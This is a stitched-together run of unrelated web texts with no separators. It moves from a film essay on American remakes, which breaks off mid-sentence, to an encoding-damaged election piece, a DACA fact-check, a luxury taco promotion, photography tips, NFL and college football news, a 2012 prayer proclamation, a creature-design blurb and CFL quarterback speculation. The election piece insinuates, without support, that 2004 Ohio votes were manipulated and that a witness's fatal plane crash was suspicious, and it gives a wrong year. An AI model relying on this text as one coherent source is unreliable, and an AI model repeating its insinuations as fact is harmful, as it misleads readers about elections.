The new film adaptation – although dark and stylish – loses the thing I savoured most: a very British sense of grime and hobbled ambition. Swapping the home counties for upstate New York, the film follows Emily Blunt as she is whisked from NYC’s ritzier burbs on a service that never trundles, still less stops for long unexplained minutes. Can you glimpse any ritzy burbs from a Euston commute? I’ve never noticed any, but answers on a postcard please.
And Blunt is hardly the mousy wreck I imagined the novel’s demented protagonist to be. Yes, she brings psychological heft to the role, but she’s insufficiently raddled and defeated, to my mind anyway. Fortunately, her character is English, which helps her to seem satisfyingly alien and bonkers in a world of blah New Yorkers. But this is little more than a figleaf over an otherwise ill-advised American retread.
Who's going to complain about their book being performed by Hugh Grant as a semi-nude face-painting warrior?
Hawkins, on hearing the action was to be shifted to the US, very sensibly said: “I’m not really concerned about the repositioning as I think it is the type of story that could take place in any commuter town.” Nick Hornby said something similar about Stephen Frears’ 2000 film of High Fidelity. “It’s incredibly faithful to the book despite the fact it’s been reset in Chicago. The only thing that’s changed is the music.”
I understand why novelists feel this way: it’s not just because they’re pleased as punch to have eminent actors such as Blunt, or John Cusack in High Fidelity, bringing their characters to life, but also because, if they’re real artists, they must trust adapters to be creatively faithless. David Mitchell felt that way when Cloud Atlas was adapted by the Wachowskis: his narrative was intriguingly retooled, but it kind of worked and, hey, who’s going to complain about their book being performed by Tom Hanks or Hugh Grant as some of time-travelling, semi-nude, face-painting warrior?
But the readers may feel betrayed, then disappointed, particularly when a grungy locale gets airbrushed and upscaled. Hornby was wrong: Chicago isn’t Crouch End and Cusack was too damned handsome to properly incarnate the homuncular hero. That’s the frequent complaint: transatlantic crossings wash off the grub and bring up sheen.
Sometimes worse things can happen. Take poor old George Sluizer. In 1988, the film-maker made a superb abduction thriller called The Vanishing that culminates with – spoiler alert! – our drugged hero coming round to find the psychopath has buried him alive. The final shots are from within the grave, with the victim desperately scratching to escape, his lighter flickering ever more hopelessly as the oxygen runs out. A marvellous and unremittingly miserable ending.
Facebook Twitter Pinterest Grave misgivings … George Sluizer’s remake of his own thriller The Vanishing. Photograph: Snap/Rex/Shutterstock
Then what happened? Sluizer was invited out to Hollywood to remake his film with Sandra Bullock, Kiefer Sutherland and Jeff Bridges. At the new denouement, Sutherland is rescued by Bullock who has escaped by clocking the evil Bridges over the head with a shovel. Hollywood Ending 1, Artistic Integrity nil.
US remakes can be better, though. There may be those of you who prefer Niels Arden Oplev’s Swedish-language Girl With the Dragon Tattoo to the David Fincher remake. But let me say this: you are out of your tiny minds – as are those of you who prefer the Seattle-set version of TV thriller The Killing to the Copenhagen-set original.
Perhaps, though, we should simply praise more and rank less. So fine is The Magnificent Seven that it’s convenient to forget that John Sturges’s 1960 western is a remake – of Akira Kurosawa’s 1954 classic, Seven Samurai. Yes, relocating from Japan to Mexico loses a lot: specifically, a village of farmers menaced by bandits in 1586, during the Warring States period. But we gain so much: not just Elmer Bernstein’s Bartók-inspired score, but something very uncommon in Hollywood cinema – the idea that victory is far from simple, and can even conceal its opposite.
Facebook Twitter Pinterest Classic remake … The Magnificent Seven. Photograph: Rex
As Yul Brynner rides off past the graves of his fallen comrades, he reflects: “Only the farmers won. We lost. We’ll always lose.” These lines echo those from Seven Samurai – showing that, for all the changes, The Magnificent Seven was true to the source’s spirit. Indeed, Kurosawa liked the film so much that he apparently sent Sturges a sword (of course, he may have thought the film was so bad he wanted Sturges to commit seppuku, but it seems unlikely).
Often, it’s invidious to choose between remake and original: like PM Dawn’s Set Adrift on Memory Bliss and its source, Spandau Ballet’s True, both should exist in the best of all possible worlds. Peter Moffat’s 2008 BBC series Criminal Justice inspired Steven Zaillian and Richard Price’s no less wonderful new TV drama The Night Of, transferring the action from Britain to New York, but retaining much of the storyline. Both Con O’Neill in the original and John Turturro in the retool play lawyers struggling with horrible eczema of the foot – and they’re both wonderful.
In Get Carter Caine chucks a gangster off a brutalist Gateshead car park. These cherishable details aren't in the remake
US remakes are too often regarded as ideas-free, money-grabs on rich European originals – a perspective that suits hubristic types who regard America as populated by culturally rapacious airheads. Few would defend the 2003 remake of The Italian Job, which shifts much of its best car chases from Mediterranean corniches to Los Angeles. But I would, not least because the 1969 original is ridiculously overrated and the remake features not just better action sequences but a performance from Mark Wahlberg – in the Michael Caine role – that no one has properly appreciated. Why there isn’t an Oscar for Musclebound Suffering at the Wheel of a Stupidly Small Car is beyond me.
Is John Simm more convincing as a ruthless hack in conspiracy drama State of Play than Russell Crowe is in its Americanised incarnation? Is the Washington House of Cards better than the Westminster one? Here’s another poser: is Steve Carell better in the US Office than Ricky Gervais is in the original? I’m not sure, but what I regret losing is the opening credits that featured Slough in all its bomb-worthy glory to the sound of the Stereophonics singing Handbags and Gladrags. Americans can’t do dismal quite like the British.
Facebook Twitter Pinterest Tyneside to Stateside … Michael Caine in the original Get Carter (1971) and Sylvester Stallone in the 2000 remake. Composite: Franchise Pictures/Metro/Allstar
Which brings us to The Get Carter Question: Tyneside or Stateside? One of the great pleasures, for me, of seeing Michael Caine as the cockney hit man roaming the north east to hunt down his brother’s killer is the bit where he chucks a gangster off a brutalist car park in Gateshead. None of these cherishable local details remain in the 2000 remake starring a risibly moustachioed Sylvester Stallone, who plays a Vegas mob enforcer terminating Seattle hoods who whacked his brother. Caine, god love him, was even inveigled into a cameo, but even his imprimatur can’t rescue a remake that the New York Times called “so minimally plotted that not only does it lack subtext or context, but it also may be the world’s first movie without even a text”.
Naturally, when it comes to remakes, Alfred Hitchcock is in a class of his own. His 1956 film The Man Who Knew Too Much is a retooling of a 1934 film of the same name – by one Alfred Hitchcock. Some lovely details get excised. Gone is the ending in which, for the final shoot-out with the rozzers, the criminals return to their lair – a temple to a sun-worshipping cult in Wapping. Instead of those barmy scenes are new ones that are no less preposterous. Can it be true that Doris Day helps foil an assassination attempt on the Prime Minister in the Royal Albert Hall? And that, in reward, he invites her to sing – leading to a very loud and very wrong rendition of Que Sera Sera?
Facebook Twitter Pinterest Mangled … Edward Woodward, left, in The Wicker Man, 1973, and Nicolas Cage in the 2006 remake. Composite: Warner Bros/Allstar/Rex
Finally, it’s worth saying that when Hollywood mangles a masterpiece of European cinema, it sometimes does so with such gusto that the only thing to do is stand up and applaud. I’m thinking of Neil LaBute’s 2006 version of Robin Hardy’s 1973 The Wicker Man, which shifted the action from a Hebridean isle overrun by worshippers of a pagan Celtic deity, to an island off Washington state where descendants of witches who fled the Salem trials have holed up to practise crazed paganism.
While I found Edward Woodward being burned alive at the end of the original everlastingly upsetting, I
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vote had been counted? As we all know, states are routinely called for one candidate or another when only part of the vote is counted � based on statistical analysis of a combination of the current vote count, exit polls, and what parts of the state have yet to be counted. So what was Karl Rove so sure he knew about the vote count � or looming vote count � that none of the network statisticians knew, even at FOX news? To consider that question, let�s go back to 2004:In the official 2004 Ohio vote count, George W. Bush beat John Kerry by about 118 thousand votes, a margin of about 2.5%. But according to the final Ohio exit polls, John Kerry was predicted to win by a whopping 4.2% � thus producing a huge discrepancy between the exit polls and the official vote count.Prior to Election Day 2004, it was evident that Ohio was the most critical swing state in the country. Late on Election Night, it became apparent that whoever won Ohio would win the presidency. TV commentators discussed how the situation looked very bad for George W. Bush. Even the right wing political hack Robert Novak acknowledged that Bush had little chance of winning Ohio � and thus the election.So what happened then? Stephen Spoonamore, a computer expert and close associate of Michael Connell, who was widely known as �Karl Rove�s IT guru�, provided a likely answer to that question in a sworn affidavit on October 26, 2008.The SmartTech system that Spoonamore referred to was operated by Michael Connell � �Karl Rove�s IT guru�. Two days after Spoonamore�s affadavit, attorneys filed a motion to compel testimony of Connell regarding his knowledge of the workings of the GOP computer systems. On October 31 a federal judge ordered Connell to submit to a deposition on possible election manipulation. Connell gave the deposition on November 4, providing as little information as possible, but eventually he was forced to admit that �he brought Triad and SmartTech into the Ohio election game�.When it became apparent that Connell would testify in the case, Connell was warned not to fly his plane. Cliff Arnebeck, the Ohio lawyer who brought the suit and subpoenaed Connell, warned the U.S. Justice Department that Connell�s life might be in danger, and requested witness protection. Connell never did get to testify. On December 19, shortly before he was due to testify, he died in a plane crash, presumably caused by his plane running out of gas.If up to the point where the TV networks were discussing how hopeless Ohio looked for Mitt Romney on Election Night 2012 seems to you to be eerily similar to Election Night 2004, you�re not alone. As in 2004, Ohio was the critical swing state. As in 2004, the situation looked very bad for the Republican candidate. As in 2004, the Ohio election was being handled by a highly partisan Republican administration. As in 2004, Karl Rove seemed to be a key player. And as in 2004, SmartTech computers played a central role in tabulating the Ohio vote. As explained here two months prior to the 2012 election:But there were a couple of big differences between 2004 and 2012. One is that the Republican candidate apparently was substantially further behind in Ohio in 2012 than in 2004. And the other difference is that � as we found out soon � it turned out that the Democratic candidate didn�t need Ohio to win the election. So apparently for one or both of those reasons we didn�t see a repeat of 2004 in 2008. Perhaps the decision was made to pull back when it became apparent that even if he won Ohio Romney couldn�t win the election. Perhaps the decision was made a little sooner, when the approximate magnitude the number of votes needed became apparent.In any event, despite all the evidence to the contrary, both Karl Rove and Kenneth Blackwell (Ohio Secretary of State in charge of the Ohio election in 2004) denied any knowledge of SmartTech.Producer Mike Burke summed up the situation two months prior to the 2012 election: 283 Tweet"President (Ronald) Reagan did a similar thing. George H.W. Bush did a similar order" as former President Barack Obama’s Deferred Action for Childhood Arrivals, or DACA.
Sen. Al Franken, D-Minn., took to the airwaves to defend the Deferred Action for Childhood Arrivals, or DACA, policy the Obama administration put in place in 2012 after Congress failed to pass immigration legislation.
DACA defers the deportation of certain illegal immigrants who initially entered the United States as children. President Trump has said he would rescind it and that former President Barack Obama exceeded his authority by signing it.
Not so, Franken said.
"The executive order that President Obama gave on this was actually lawful," Franken said in a Sept. 5 interview on MSNBC. "President Reagan did a similar thing. George H.W. Bush did a similar order."
We decided to look more closely at whether Reagan and the elder Bush took actions similar to DACA.
Was Reagan’s 1987 action similar to DACA?
Because Reagan and Bush are each credited with issuing multiple executive grants of immigration relief, we asked Franken’s staff to clarify which Reagan and Bush actions the senator had in mind.
Franken was referring to a 1987 action Reagan took on the heels of the Immigration Reform and Control Act. That sweeping 1986 immigration overhaul granted legal status for many, but not all, illegal immigrants.
Crucially, the law did not automatically apply to the spouses or children of newly-legalized immigrants, which meant families across the country were vulnerable to being split based on differences in legal status.
After Congress failed to pass a bill to reduce family disruptions, Reagan drew upon his executive authority to do so on his own. His 1987 executive action to legalize the status of minor children of parents granted amnesty under the immigration overhaul affected an estimated 100,000 families. (Note that spouses and children of couples where one parent, but not both, qualified for amnesty were not included in Reagan's policy.)
Reagan’s 1987 action parallels Obama’s DACA in some key ways, but differs in others.
Both are examples of a president wielding his power not to apply U.S. immigration law in cases where he deems this necessary or appropriate, said David Shirk, a fellow at the Woodrow Wilson International Center for Scholars.
Using executive authority this way is not so unusual among modern presidents. As Kenneth R. Mayer, a political scientist at the University of Wisconsin-Madison, told us in a previous fact-check, "Presidents going back to at least Reagan have made unilateral adjustments to immigration law -- adding exemptions, extending protection to classes not covered by existing statutes such as children and spouses, making discretionary decisions about what constitutes ‘unlawful presence’ or what categories of people here illegally will be the focus of enforcement action."
An important distinction, however, is that while DACA provided a temporary reprieve from deportation, it fell short of giving legal status to eligible immigrants, as Reagan’s had done, Shirk said.
"(Obama’s action) allowed undocumented immigrant children to come out of the shadows, but only as long as the executive branch adhered to the policy of DACA," he said. "Reagan's order gave undocumented immigrant children full legal status, with the possibility of permanent residency and eventual consideration for citizenship."
The two policies also differ in terms of the number of people affected. Whereas Reagan’s action affected an estimated 100,000 families, nearly 800,000 undocumented immigrants have taken advantage of DACA.
As we’ve noted previously, critics have argued that Obama’s action is different because he did it in the face of opposition from Congress (at least from the House), whereas Reagan’s policy (and Bush’s, for that matter) was undertaken to fix "loose ends" of the 1986 immigration law.
Was George H.W. Bush’s 1990 action similar to DACA?
Franken’s reference to the elder Bush concerned his 1990 executive action, which like Reagan’s before him, sought to smooth off some of the rough edges of the immigration overhaul.
To prevent families from being split up, Bush’s policy effectively forestalled the deportation of spouses and children of a person who gained legal status as a result of the 1986 law, a broader group than those affected by Reagan's action.
Like DACA (and Reagan’s 1987 action), Bush’s action is another example of a president relying on executive authority to selectively apply U.S. immigration law so as not to deport certain undocumented immigrants.
Similar to DACA, Bush’s action did not confer legal status. Rather, it granted deportation deferment that could be renewed periodically. Both permitted affected immigrants to receive work permits.
There’s disagreement over how many undocumented immigrants were covered by Bush’s action. It was initially estimated to apply to up to 1.5 million, though Mark Krikorian, executive director of the Center for Immigration Studies, a group that favors tighter immigration policies, has written that as few as 140,000 took advantage of it. So that’s either substantially larger or substantially smaller than the nearly 800,000 DACA recipients.
Our ruling
Franken said, "President Reagan did a similar thing. George H.W. Bush did a similar order" as Obama’s Deferred Action for Childhood Arrivals, or DACA.
There are differences in the substance and circumstances of DACA, on the one hand, and the Reagan and Bush actions, on the other. But they are similar in their broad strokes and even share some specific features.
Most significantly, all three are examples of presidents relying on executive authority to selectively apply U.S. immigration law to lift — or lift the risk of — deportation for large numbers of undocumented immigrants.
We rate this Mostly True.Velas Resorts takes cuisine to another level with its property in Los Cabos. The company first announced that Michelin-starred chef Sidney Schutte was to lead Cocina de Autor restaurant, and now presents the “most expensive taco in the world.”
The resort’s Executive Chef Juan Licerio Alcalá, is the creator of this masterpiece. The taco is prepared with ingredients such as langoustine, kobe beef, black truffle brie cheese and Beluga caviar. The tortilla is made of corn and 24k gold foil; it is served with an exotic morita chile salsa and finished with civet coffee and ultra-premium tequila.
The cost of this eccentric taco is $25,000 US dollars and it goes perfectly with a glass of Ley.925 Pasion Azteca Ultra-Premium Añejo tequila, which has a cost of $150,000 US dollars per bottle.
Grand Velas Los Cabos opened its doors late last year and has the finest culinary offerings in the destination, with seven establishments in its Luxury All-Inclusive plan, including a café, four bars and five fine dining restaurants; Cocina de Autor and restaurants serving Italian, French and Mexican specialties, the latter of which, Frida, serves the most expensive taco in the world.
For information and reservations, visit www.loscabos.grandvelas.com or call 1-888-210-9597.
To find out about first person to try the taco, visit: http://loscabosmexicoblog.com/most-expensive-tequila-in-the-world.Speedlights on location BTS video
Here is a short behind the scenes video showing how I used a few Speedlights to make a commercial shot for Riders Bristol of their one-off Harley Davidson 48 custom. This bike is now offered for sale should you wish to put some magic in your life.
Speedlights: 4x Cactus RF60 and 1x Nikon SB900 with a Cactus V6 tranceiver
Camera: Fuji X-E2 with 18-55mm zoom
Project coordinator: Len Martin
Transport: Clevedon Motorcycles
More information after the jump…
I used a Honl petrol green gel to light the background
I used Honl ⅛ grids on two of the flashes to create pools of light on the bike. Flash set to B was used to light up the crankcase of the bike as the matt black paint on the Harley just soaks up the light.
The flash brackets are these Gemini brackets. I usually use them with brollies. There are also three of these brackets.
No metering was used. I set the background to be about 2 stops under and added the background light (D) to taste. That worked out at full power. I then switched that off and lit the rear left of the bike and the front tank areas. I found both flashes looked best on the same setting so I assigned them to ‘A’ at ⅛ power. The front wheel needed some life so I added another low flash and assigned that to C.
Once it was lit I made this video and too the shot. I also fired off some close ups for my client for advertising purposes.
Please feel free to comment below.The Oakland Raiders won't move to San Antonio despite showing interest in doing so, reports Jason Cole of Bleacher Report.
According to the report, the Raiders have been discussing the option with San Antonio officials merely to develop leverage for a possible move to Los Angeles or securing a new lease at the Coliseum in Oakland. The team's current lease at the venue expires at the end of the season.
The Raiders met with San Antonio representatives in July and are due to meet again Friday for a sales pitch led by former San Antonio mayor Henry Cisneros, who said he believes the franchise relocating to San Antonio is a "50-50 proposition."
San Antonio reportedly put in extensive preparations for the initial meeting in July, and Raiders owner Mark Davis called the discussions held then a "serious conversation." In the time between the two visits, Raiders officials attended a UTSA game at the Alamodome, the potential home stadium of a San Antonio franchise, and deemed it NFL-ready.
• BURKE: Time to believe in Cleveland?
The Raiders have also been mentioned as a team that could relocate to Los Angeles, and it was reported last month that the city is likely to get one or two NFL teams in the next two years.
It was also reported last month that the St. Louis Rams were the most likely franchise to relocate to Los Angeles, with the San Diego Chargers and Raiders also possible options. All three franchises have been based in Los Angeles in the past. The city hasn't had an NFL team since the Raiders and Rams left after the 1994 season.
The Raiders originally moved from Oakland to Los Angeles in 1982. The team has used the Coliseum as its home stadium while based in Oakland since 1966.
• BEDARD: MMQB: What caused Big Ben's record-breaking surge?
Oakland is 0-8 this season and hosts the Denver Broncos on Sunday.
- Ben EstesObama Proclaims 3 Nat'l Days of Prayer for 9/11 Victims; Motive Questioned
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President Barack Obama signed a proclamation released by the White House on Friday that the next three days (Friday through Sunday) will be National Days of Prayer and Remembrance in honor of the victims of the Sept. 11 attacks on U.S. soil. However, calling for three consecutive days of prayer is unusual from a historical and presidential perspective, says a National Day of Prayer Task Force chairman.
"As much as we would like to see the days of prayer take place every day, we believe it is a rare occurrence," National Day of Prayer Vice Chairman John Bornschein told The Christian Post Friday. "National days of prayer have been once a year and at times have been called upon more than once. However, historical records show that at least in recent times, Gerald Ford and George H. Bush are the only two who officially signed national day of prayer proclamations more than once in a given year.
"George W. Bush also asked for a day of remembrance and prayer after the 9/11 occurrence and of course that was a tragic event that we remember to this day. That seems to be the historical procedure from the presidential perspective so these three days of prayer are unusual," Bornschein said.
In his proclamation for Sept. 7-9, Obama asked that "the people of the United States honor and remember the victims of Sept. 11, 2001, and their loved ones through prayer, contemplation, memorial services, the visiting of memorials, the ringing of bells, evening candlelight remembrance vigils, and other appropriate ceremonies and activities."
Obama added, "I invite people around the world to participate in this commemoration."
Also, in the proclamation, the president recalled that 11 years ago, "in our hour of grief, a Nation came together."
"No matter where we came from, what God [STET] we prayed to, or what race or ethnicity we were, we were united as one American family. This weekend, as we honor the memory of those we have lost, let us summon that spirit once more. Let us renew our sense of common purpose. And let us reaffirm the bond we share as a people: that out of many, we are one," Obama stated.
Noting that Obama also called for a national day of prayer after the shooting tragedy in Aurora, Colo., in which 12 people were killed and nearly 60 people injured, Bornschein questions the president's motive during an election year.
"President Obama called for a national day of prayer after the Auroro, Colo., shooting and that comes back to the point, too, that we haven't seen this type of behavior from him until an election year. Now, suddenly there are multiple calls to prayer," Bornschein said.
"There seems to be an embrace of faith that hadn't been seen for the past three years and so it seems a little out of sorts for him. Although we are grateful for the calls to prayer, it needs to be consistent, not just in election years."
Although not referring specifically to Obama's proclamation, he adds, "We don't like to see prayer utilized in any way other than being authentic. If it has a political undertone to it then it simply is convoluting the purpose of calling Americans to prayer."
Full proclamation provided by the White House below:
NATIONAL DAYS OF PRAYER AND REMEMBRANCE, 2012
- - - - - - -
BY THE PRESIDENT OF THE UNITED STATES OF AMERICA
A PROCLAMATION
Eleven years ago, America confronted one of our darkest days. The events of September 11, 2001, brought collapsing towers in Manhattan and billowing smoke at the Pentagon, wreckage on a Pennsylvania field, and deep ache to the soul of our Nation. Nearly 3,000 innocent people lost their lives that morning; still more gave theirs in service during the hours, days, and years that followed. All were loved, and none will be forgotten. On these days of prayer and remembrance, we mourn again the men, women, and children who were taken from us with terrible swiftness, stand with their friends and family, honor the courageous patriots who responded in our country's moment of need, and, with God's grace, rededicate ourselves to a spirit of unity and renewal.
Those who attacked us sought to deprive our Nation of the very ideals for which we stand -- but in the aftermath of this tragedy, the American people kept alive the virtues and values that make us who we are and who we must always be. Today, the legacy of September 11 is one of rescue workers who rushed to the scene, firefighters who charged up the stairs, passengers who stormed the cockpit -- courageous individuals who put their lives on the line to save people they never knew. It is also a legacy of those who stood up to serve in our Armed Forces. In the 11 years since that day, more than 2 million American service members have gone to war. They have volunteered, leaving the comforts of home and family to defend the country they love and the people they hold dear. Many have returned with dark memories of distant places and fallen friends; too many will never return at all. As we mark these solemn days, we pay tribute to the men and women who made the ultimate sacrifice in faraway lands, to heroes who died in the line of duty here at home, and to all who keep faith with the principles of service and sacrifice that will always be the source of America's strength.
On September 11, 2001, in our hour of grief, a Nation came together. No matter where we came from, what God we prayed to, or what race or ethnicity we were, we were united as one American family. This weekend, as we honor the memory of those we have lost, let us summon that spirit once more. Let us renew our sense of common purpose. And let us reaffirm the bond we share as a people: that out of many, we are one.
NOW, THEREFORE, I, BARACK OBAMA, President of the United States of America, by virtue of the authority vested in me by the Constitution and the laws of the United States, do hereby proclaim Friday, September 7 through Sunday, September 9, 2012, as National Days of Prayer and Remembrance. I ask that the people of the United States honor and remember the victims of September 11, 2001, and their loved ones through prayer, contemplation, memorial services, the visiting of memorials, the ringing of bells, evening candlelight remembrance vigils, and other appropriate ceremonies and activities. I invite people around the world to participate in this commemoration.
IN WITNESS WHEREOF, I have hereunto set my hand this seventh day of September, in the year of our Lord two thousand twelve, and of the Independence of the United States of America the two hundred and thirty-seventh.
BARACK OBAMABefore Alabama played a single down this season, Nick Saban sized up the roster and made a conclusion.
"One of the strengths on our team, I feel, is the receivers, and we want to continue to try to have an offense that can create explosive plays through those guys," the Alabama coach said.
By and large, the Crimson Tide has channeled its plays through "11" personnel -- a grouping that features, one running back, one tight end and three wide receivers.
Through three games, this package, according to Pro Football Focus, was featured on 65 percent of Alabama's snaps -- an indication of how much coordinator Lane Kiffin has moved the Tide's approach well beyond the two-tight end, ground-and-pound style that predominated during Jim McElwain's stewardship of the offense.
In turn, Kiffin has increased the influence of the receivers, and this season he has relied on Calvin Ridley, ArDarius Stewart and graduate transfer Gehrig Dieter to do the lion's share of the work. Based on data supplied by Pro Football Focus, all three players have been on the field for more than 100 snaps and together they have accounted for every one of the team's five receiving touchdowns.
Cam Sims and Robert Foster, meanwhile, have been assigned part-time roles. Both have participated in a combined total of 124 plays -- 11 fewer than Dieter has been involved in this season.
"It just makes you want to compete more," Sims said. "You see [them] do something and you might want to go out and practice the next weekend and try to do what [they] do or even better."
Sims knows the internal competition is fierce. The Tide has a stacked receiver corps, and the marginalization of Foster is illustrative of that. Before he suffered a season-ending shoulder injury in September 2015, the former five-star recruit was a starter and playing in front of Ridley. Now, he's a limited contributor. Against Ole Miss last week, he was on the field for three snaps.
He then tweaked his knee in practice Tuesday and is questionable for Saturday's game against Kent State, according to Saban.
Yet prior to that setback, Saban insinuated that Sims has merited more opportunities than Foster, when he was asked who would replace Stewart in the event he is not available Saturday after suffering a sprained knee against the Rebels.
"Robert will play some, but the guy that's been playing really well for us is Cam Sims, so we would play him as well," Saban said.
Foster's position notwithstanding, Kiffin's management of his receivers and the way he has deployed them has sparked curiosity. And considering how important the group is to this offense, it will bear watching going forward.This is the most recent work for the weekly activity creature of the week. The topic is guts harvester, so I designed a scavenger that likes to eat intestines.
The stocky, sluggish Boranuses are scavengers. They have an extremely keen sense of smell, and they can pick up senses of death or near death from miles away. Boranus feeds mainly on already dead animals, as they travel through misty forest lands, looking for carrions. They'll sometimes drive away smaller predators and steal their kills. Boranuses use the giant claws on their forelimbs to quickly dismantle the carcass then swallow the smaller parts whole. Like many other scavengers, they'll eat anything they find, but prefer internal organs. Boranuses dine happily on their favorite item--manure-filled intestines, which most predators shy away from.Welcome to the off-season.
Let me start by saying I expect to receive some heat for this (and I welcome it), but the point of this exercise is to have some fun and also open up a discussion on what’s going to happen before kickoff next June.
At first glance, the possibilities appear to be endless as this hurricane that is the 2018 CFL off-season continues to develop. It starts at the quarterback position, where three starters are currently without a contract past Feb. 13:
Pending 2018 Free Agent Quarterbacks
NAME SCHOOL TEAM 2017 STARTER? Jacory Harris Miami MTL No Drew Willy Buffalo MTL No Trevor Harris Edinboro OTT Yes Cody Fajardo Nevada TOR No Ricky Ray Sacramento State TOR Yes Everett Golson Florida State HAM No Jeremiah Masoli Mississippi HAM Yes Dan LeFevour Central Michigan WPG No Brandon Bridge South Alabama SSK No James Franklin Missouri EDM No Travis Lulay Montana State BC No
Trevor Harris to the Als? James Franklin to the NFL? The arrival of Johnny Manziel? Zach Collaros traded? Ricky Ray retirement? From the outlandish to the legitimate speculation, these are all topics of interest going into the next three months.
As the quarterback carousel starts spinning, how will the picture change for 2018? I highlight some of the key names below, then break it down team-by team.
I can assure you that not all of these things will actually happen, but promise you there is some semblance of logic behind every scenario:
James Franklin, 26
I will happily go on record saying that I think James Franklin is as can’t-miss a quarterback prospect the CFL has seen over the last decade or so. Not only does Franklin have the physical tools that scouts desire in a pro quarterback (6-foot-2, 225 pounds, strong arm, quick release), his dedication to his craft is almost unparalleled.
The son of an Evangelist, Franklin is a born leader that is ready to step in and command an offence — a big part of succeeding as a professional pivot. Combine all of those things with the body of work we’ve seen so far (12 touchdowns, 1 interception in 12 appearances) and there’s reason to believe the 26-year-old can step in and become a star right away.
What’s special about Franklin’s situation is that quarterbacks under 30, especially ones that are this hyped, rarely ever hit the free agent market. So where will the most talked about quarterback free agent end up?
The Eskimos are not about to trade Mike Reilly, especially in the year they’re hosting the 106th Grey Cup, while Calgary, BC and Winnipeg know who’s starting under centre in 2018. I believe that Hamilton, Toronto and Ottawa are all possibilities, as not one of those clubs has a quarterback under contract past Feb. 13. In Montreal, the Als could look to land Franklin in favour of Durant.
In the end, to me, Saskatchewan makes the most sense. It was Jones who first scouted Franklin back in 2015 at a camp in Nebraska, eventually bringing the quarterback into mini-camp. That connection combined with the Riders’ 2017 resurgence and their lack of a franchise QB makes Regina a logical landing spot.
I view Franklin as the missing piece of a potential Chris Jones/Saskatchewan Roughriders dynasty.
Where He Should Go: Saskatchewan
Travis Lulay, 34
Lulay is coming off major reconstructive knee surgery and won’t likely be ready for the start of 2018. While there’s no guarantee he doesn’t retire and pursue a career in coaching (there are already whispers that teams will be interested right away should that happen), the 34-year-old showed in 2017 that he can still play at a high level.
The Lions should continue to focus their energy on Jonathon Jennings, who took a step back last season, but would be wise to secure the services of Lulay, a veteran backup whose roles on the side as a ‘player coach’ and mentor are just as important as anything.
Where He Should Go: BC
Brandon Bridge, 25
This is a really tough one to read. Bridge enjoyed a solid season for the Riders in 2017 and has become one of the league’s most intriguing quarterback prospects. Yet after he threw 12 touchdown passes and five interceptions, frequently taking over the second half of games this season, he remains without a contract beyond Feb. 13.
For Bridge to really take the next step, one team needs to dedicate a full-time starting job to the 25-year-old Mississauga, Ont. native out of Southern Alabama. The question is, if not Saskatchewan, who?
I’m not sure Bridge fits Jaime Elizondo or Marc Trestman’s offences in Ottawa and Toronto respectively, while Hamilton is more likely to turn to a proven Jeremiah Masoli should June Jones return. The question for me is whether, no pun intended, the Alouettes have burned the bridge between themselves and their former Canadian QB.
Remember, it was Jim Popp who released Bridge in August of 2016, while Jacques Chapdelaine is no longer there either, meaning a return to Montreal — where Bridge could have a legitimate chance to start — shouldn’t be out of the question. Call me crazy but I think Bridge and the Als are a terrific mutual fit, where the kid could finally become an undisputed starting CFL quarterback.
Where He Should Go: Montreal
Jeremiah Masoli, 29
The CFL off-season’s load-bearing wall might be in Steeltown, inconsequentially, where the Ticats have two of the biggest names on the quarterback carousel.
Zach Collaros went from MOP candidate in 2015 to the bench in 2017 when he was replaced by Jeremiah Masoli by Labour Day. Yet it’s Collaros who’s under contract and Masoli is a free agent heading towards Feb. 13.
Masoli played like a star in his 10 starts this year, throwing for 3,177 yards, 15 touchdowns and five interceptions while leading the Ticats to a 6-4 record. He and new head coach June Jones are a match made in heaven, and should Jones sign a new deal to remain Hamilton’s head coach, I’d expect the same for Masoli.
I predict that Masoli and Johnny Manziel are the Ticats’ two quarterbacks next season, but where does that leave Zach Collaros?
Where He Should Go: Hamilton
Zach Collaros, 29
If Masoli stays in Hamilton as predicted, it seems likely that Collaros, not a pending free agent, will either be traded or released. The market for the 29-year-old should be hot — because what quarterback-needy team wouldn’t like a proven player in his prime, who’s played in a Grey Cup and flirted with a Most Outstanding Player honour?
Montreal and Saskatchewan immediately come to mind, as does Ottawa in the off-chance Trevor Harris doesn’t return. But I think Toronto makes the most sense, whether Ricky Ray (contemplating retirement) returns or not.
If Ray doesn’t come back, Collaros gets the reins in an offence and city he’s comfortable with (he operated a similar offence under Scott Milanovich during his time in Toronto). And if Ray opts to play in 2018, Collaros should be OK with having to wait a year to start, especially knowing the professional development he could enjoy under Marc Trestman.
Jim Popp spent last season re-stocking the shelves in Toronto with a lineup of young quarterbacks to inherit Ray’s spot. Yet I think the Argos’ GM will be wary of what happened in Montreal, where the team struggled to replace a retiring legend in Anthony Calvillo in 2013. If he can get someone proven, he’ll do it.
From a quarterback’s perspective, playing for Trestman is an appealing situation, and for Collaros it would be a return to where it all started. All signs point to a quick trip east on the QEW for Collaros.
Where He Should Go: Toronto
Ricky Ray, 38
I won’t burn too many words on this one. Ricky Ray stayed healthy in 2017 and had one of the best seasons of his career under Marc Trestman. If he doesn’t retire, Jim Popp and the Argos will welcome him back with open arms.
Ray looks like he’s having fun out there and could see a chance to add to his storied Hall of Fame career with a first MOP and a fifth Grey Cup ring.
Where He Should Go: Toronto
Trevor Harris, 31
There are a number of dynamics involved in any contract negotiations between the Ottawa REDBLACKS and Trevor Harris, from the alternative options Marcel Desjardins has available to the amount of money Harris feels he deserves to be paid.
There’s little reason for Harris to leave, from both perspectives, considering Harris gets a chance to start and also makes Ottawa a perennial Grey Cup contender. Yet we also know that Desjardins takes an analytical approach to being a GM: he won’t overpay, while at the same time, if there’s someone out there he feels is better, he won’t hesitate to make the move.
I expect a deal to get done between Harris and the REDBLACKS, but if not, other teams could come calling, including the Saskatchewan Roughriders and Montreal Alouettes.
Where He Should Go: Ottawa
Darian Durant, 35
Darian Durant’s struggles in 2017 could lead him elsewhere next season if the Als decide to part ways. Something has to change in Montreal after a three-win season and if it’s the quarterback, where could Durant end up?
The 35-year-old may not be a starter anymore in the CFL, but should offer value as a backup. The first place that comes to mind is Winnipeg, where he would re-join Paul LaPolice (his offensive coordinator in Saskatchewan in 2008 and 2009) and his old top receiver Weston Dressler.
The drop-off in production from Winnipeg’s offence was significant when Matt Nichols wasn’t under centre last season, and Durant would be a nice insurance policy in addition to his veteran wisdom. This one’s a shot in the dark but Winnipeg makes sense.
Where He Should Go: Winnipeg
Drew Willy, 31
